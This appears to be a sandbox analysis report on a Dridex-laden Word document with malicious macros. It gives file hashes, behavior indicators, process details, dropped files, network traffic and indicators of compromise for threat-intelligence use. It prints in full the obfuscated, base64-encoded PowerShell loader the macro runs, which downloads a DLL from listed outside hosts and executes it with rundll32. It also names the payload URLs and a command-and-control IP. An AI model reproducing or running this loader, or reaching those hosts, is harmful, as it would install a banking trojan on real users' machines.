analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Sept29-2020-00013.doc

Full analysis: https://app.any.run/tasks/705001de-d3d5-44dc-89e0-192cd6161126
Verdict: Malicious activity
Threats:

Dridex is a very evasive and technically complex banking trojan. Despite being based on a relatively old malware code, it was substantially updated over the years and became capable of using very effective infiltration techniques that make this malware especially dangerous.

Analysis date: September 30, 2020, 06:46:25
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
trojan
banker
dridex
maldoc-51
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Impedit., Author: Zoe Petit, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Sep 29 19:26:00 2020, Last Saved Time/Date: Tue Sep 29 19:26:00 2020, Number of Pages: 1, Number of Words: 3401, Number of Characters: 19391, Security: 8
MD5:

E6F964BF89E568E82002184D4FE2A36B

SHA1:

9C6408B372F497A1D9630435EE8993A442A4E6FD

SHA256:

4513F46318E145FC5AAAB176B6A8D093CE563BE3351EE0615FBE27AEDEFD86B4

SSDEEP:

1536:NgpsKaEWMQsq98U1tqnyBCVXqB+m/zqux9kbM:SnPWMQsqqUnCZPmGY9kbM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Loads dropped or rewritten executable

      • SearchProtocolHost.exe (PID: 4008)
      • rundll32.exe (PID: 3220)
    • DRIDEX was detected

      • rundll32.exe (PID: 3220)
  • SUSPICIOUS

    • Executed via WMI

      • POwersheLL.exe (PID: 2856)
    • Creates files in the user directory

      • POwersheLL.exe (PID: 2856)
    • PowerShell script executed

      • POwersheLL.exe (PID: 2856)
    • Executable content was dropped or overwritten

      • POwersheLL.exe (PID: 2856)
    • Uses RUNDLL32.EXE to load library

      • POwersheLL.exe (PID: 2856)
    • Reads Internet Cache Settings

      • rundll32.exe (PID: 3220)
    • Searches for installed software

      • rundll32.exe (PID: 3220)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2688)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2688)
    • Reads settings of System Certificates

      • POwersheLL.exe (PID: 2856)
    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3512)
      • iexplore.exe (PID: 2068)
    • Application launched itself

      • iexplore.exe (PID: 2068)
    • Changes internet zones settings

      • iexplore.exe (PID: 2068)
    • Manual execution by user

      • iexplore.exe (PID: 2068)
      • notepad.exe (PID: 2352)
    • Reads internet explorer settings

      • iexplore.exe (PID: 3512)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Impedit.
Subject: -
Author: Zoe Petit
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:09:29 18:26:00
ModifyDate: 2020:09:29 18:26:00
Pages: 1
Words: 3401
Characters: 19391
Security: Locked for annotations
Company: -
Lines: 161
Paragraphs: 45
CharCountWithSpaces: 22747
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CodePage: Unicode UTF-16, little endian
LocaleIndicator: 1033
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
97
Monitored processes
7
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe #DRIDEX rundll32.exe searchprotocolhost.exe no specs iexplore.exe no specs iexplore.exe no specs notepad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2688"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Sept29-2020-00013.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
2856POwersheLL -ENCOD JABYAGMANwA3AG8AMQA2AD0AKAAoACcAWgB2AGMAJwArACcAcQAnACkAKwAoACcAdgA2ACcAKwAnADQAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcABSAE8AZgBJAGwARQBcAFIAOQB4ADQATwBiADUAXABNAFEAcgBsAEsAYgAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAGUAYwBUAG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBgAGMAVQByAEkAVABgAHkAYABQAGAAUgBPAHQAbwBjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAMgAnACsAJwAsACcAKQArACcAIAB0ACcAKwAoACcAbABzADEAJwArACcAMQAsACcAKQArACcAIAAnACsAJwB0ACcAKwAnAGwAcwAnACkAOwAkAFMAawBqAGYANABpAHIAIAA9ACAAKAAoACcATgAnACsAJwA5AF8AJwApACsAJwBqAHoAJwArACcAZgAnACkAOwAkAEgAdQAwADEAagBmAHQAPQAoACgAJwBSAHUAJwArACcAaABpACcAKQArACcAMgAnACsAJwBtAHcAJwApADsAJABJAG4AbgBoAHoAeAA2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAYQAnACsAJwBsAG0AJwApACsAJwBSACcAKwAoACcAOQB4ACcAKwAnADQAbwAnACsAJwBiADUAYQBsAG0ATQBxAHIAbAAnACsAJwBrAGIAMQBhACcAKQArACcAbABtACcAKQAuACIAcgBlAFAAYABsAEEAQwBFACIAKAAoAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMAA4ACsAWwBjAGgAYQByAF0AMQAwADkAKQAsAFsAUwBUAFIAaQBuAEcAXQBbAGMAaABhAHIAXQA5ADIAKQApACsAJABTAGsAagBmADQAaQByACsAKAAnAC4AJwArACgAJwBkAGwAJwArACcAbAAnACkAKQA7ACQAWgBjAGoANQA1AF8AbwA9ACgAKAAnAFEAeABqACcAKwAnADQAbQAnACkAKwAnAGIAcgAnACkAOwAkAEsANQAxAGgAaQAyADkAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBMAEkARQBuAHQAOwAkAEEANQA2ADMAMQA1AF8APQAoACgAJwBoAHQAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAbQAnACkAKwAoACcAdQByAGYAJwArACcAcgBlAGUAcwBiAG8AcgBvAC4AJwArACcAZgAnACsAJwBhAGkAcgAnACkAKwAoACcAdwBhACcAKwAnAHkAJwApACsAKAAnAGMAbwBuACcAKwAnAGMAaQAnACkAKwAoACcAZQByAGcAJwArACcAZQAuAGMAJwArACcAbwBtAC8AJwApACsAKAAnAGYAagBvACcAKwAnADYAJwApACsAJwBnACcAKwAoACcANQAuAHQAeAAnACsAJwB0ACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwA6ACcAKwAnAC8ALwByAHkAbgBlAHIALgAnACkAKwAoACcAbgBlAHQALgBhAHUAJwArACcALwBzAHEAJwArACcAdAAnACkAKwAnAHMAdwAnACsAJwA1AGEAJwArACgAJwAuACcAKwAnAHoAaQAnACkAKwAoACcAcAAqAGgAJwArACcAdAB0AHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAcwB1ACcAKQArACgAJwBuAG4AeQAnACsAJwBzAGkAZAAnACsAJwBlAGMAYQAnACkAKwAoACcAZgBlACcAKwAnAG0AaQAuACcAKQArACcAYwBvACcAKwAoACcAbQAvACcAKwAnAG4AcQAnACkAKwAoACcAaQB4AHYAagAnACsAJwBjAC4AcABkAGYAKgAnACsAJwBoAHQAdABwAHMAOgAvACcAKwAnAC8AdgAnACsAJwBpACcAKwAnAHMAJwArACcAdQBtACcAKQArACgAJwAzACcAKwAnADYAMAAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAuAHUAJwArACcAeQAnACkAKwAoACcALwBnADQAJwArACcAMABqACcAKwAnAHkAdwAnACkAKwAoACcANQAnACsAJwAuAHAAZABmACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAcwA6AC8AJwArACcALwAnACsAJwB5AHUAbgBnAGUAJwApACsAKAAnAG4ALgBrACcAKwAnAGUAdgBpACcAKQArACgAJwBuAG0AJwArACcAYwAnACkAKwAoACcAYwBvACcAKwAnAGwAbABvAHcAJwApACsAKAAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtACcAKwAnAC8AcwAnACkAKwAoACcAOQA4ADEAcQAnACsAJwB0AG0AJwApACsAKAAnAHUAJwArACcALgBwACcAKQArACcAZABmACcAKQAuACIAcwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUADUAdwBtAHAAYQB3AD0AKAAnAEwAdgAnACsAJwBvADcAJwArACgAJwBuAHcAJwArACcAYwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEwAXwAxAHoAZwBtADkAIABpAG4AIAAkAEEANQA2ADMAMQA1AF8AKQB7AHQAcgB5AHsAJABLADUAMQBoAGkAMgA5AC4AIgBkAE8AYAB3AE4AbABgAG8AYABBAGQARgBJAEwAZQAiACgAJABMAF8AMQB6AGcAbQA5ACwAIAAkAEkAbgBuAGgAegB4ADYAKQA7ACQAWAB1AGEAZwBxAGwAcAA9ACgAJwBEAGYAJwArACcAYwB3ACcAKwAoACcAOAAnACsAJwAxAHkAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASQBuAG4AaAB6AHgANgApAC4AIgBMAEUAYABOAGcAYABUAGgAIgAgAC0AZwBlACAAMwAyADMAOQA4ACkAIAB7AC4AKAAnAHIAdQAnACsAJwBuAGQAbABsACcAKwAnADMAMgAnACsAJwAuAGUAeABlACcAKQAgACQASQBuAG4AaAB6AHgANgAsADAAOwAkAFYAcwA4ADIAawAwADAAPQAoACgAJwBBACcAKwAnAG8AagAnACkAKwAnAHYAdAAnACsAJwBxAGIAJwApADsAYgByAGUAYQBrADsAJABLADgANABiAGsAOABxAD0AKAAnAEkAJwArACgAJwBnAGsAJwArACcAOQBfAG0AJwArACcAegAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQA0AHQAZQBmAGYAdwA9ACgAJwBCADEAJwArACcAcQAnACsAKAAnADgAZwAxACcAKwAnAHgAJwApACkA C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3220"C:\Windows\system32\rundll32.exe" C:\Users\admin\R9x4ob5\Mqrlkb1\N9_jzf.dll 0C:\Windows\system32\rundll32.exe
POwersheLL.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
1073807364
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4008"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe5_ Global\UsGthrCtrlFltPipeMssGthrPipe5 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\System32\SearchProtocolHost.exeSearchIndexer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft Windows Search Protocol Host
Exit code:
0
Version:
7.00.7600.16385 (win7_rtm.090713-1255)
2068"C:\Program Files\Internet Explorer\iexplore.exe" C:\Program Files\Internet Explorer\iexplore.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
3512"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2068 CREDAT:267521 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exeiexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
2352"C:\Windows\system32\notepad.exe" C:\Windows\system32\notepad.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
3 454
Read events
2 376
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
8
Text files
3
Unknown types
5

Dropped files

PID
Process
Filename
Type
2688WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR75B7.tmp.cvr
MD5:
SHA256:
2856POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GILHI5FMY4BFSS3UAQ30.temp
MD5:
SHA256:
3220rundll32.exeC:\Users\admin\AppData\Local\Temp\Cab956F.tmp
MD5:
SHA256:
3220rundll32.exeC:\Users\admin\AppData\Local\Temp\Tar9570.tmp
MD5:
SHA256:
3220rundll32.exeC:\Users\admin\AppData\Local\Temp\Cab9581.tmp
MD5:
SHA256:
3220rundll32.exeC:\Users\admin\AppData\Local\Temp\Tar9582.tmp
MD5:
SHA256:
3220rundll32.exeC:\Users\admin\AppData\Local\Temp\Cab9600.tmp
MD5:
SHA256:
3220rundll32.exeC:\Users\admin\AppData\Local\Temp\Tar9601.tmp
MD5:
SHA256:
3220rundll32.exeC:\Users\admin\AppData\Local\Temp\Cab966F.tmp
MD5:
SHA256:
3220rundll32.exeC:\Users\admin\AppData\Local\Temp\Tar9670.tmp
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
872
svchost.exe
GET
404
75.119.215.217:443
https://murfreesboro.fairwayconcierge.com/fjo6g5.txt
US
html
327 b
suspicious
1052
svchost.exe
GET
200
185.149.112.234:443
https://ryner.net.au/sqtsw5a.zip
CZ
executable
630 Kb
suspicious
3220
rundll32.exe
GET
200
93.184.221.240:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
57.5 Kb
whitelisted
2856
POwersheLL.exe
POST
403
51.83.96.87:443
https://51.83.96.87/
GB
malicious
3220
rundll32.exe
GET
304
93.184.221.240:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
57.5 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3220
rundll32.exe
67.79.105.174:3786
Time Warner Cable Internet LLC
US
malicious
2856
POwersheLL.exe
185.149.112.234:443
ryner.net.au
Skylinevision Telecom LLC
CZ
suspicious
3220
rundll32.exe
93.184.221.240:80
www.download.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
2856
POwersheLL.exe
75.119.215.217:443
murfreesboro.fairwayconcierge.com
New Dream Network, LLC
US
suspicious
3220
rundll32.exe
51.83.96.87:443
GB
malicious

DNS requests

Domain
IP
Reputation
murfreesboro.fairwayconcierge.com
  • 75.119.215.217
suspicious
ryner.net.au
  • 185.149.112.234
suspicious
www.download.windowsupdate.com
  • 93.184.221.240
whitelisted

Threats

PID
Process
Class
Message
3220
rundll32.exe
A Network Trojan was detected
ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)
No debug info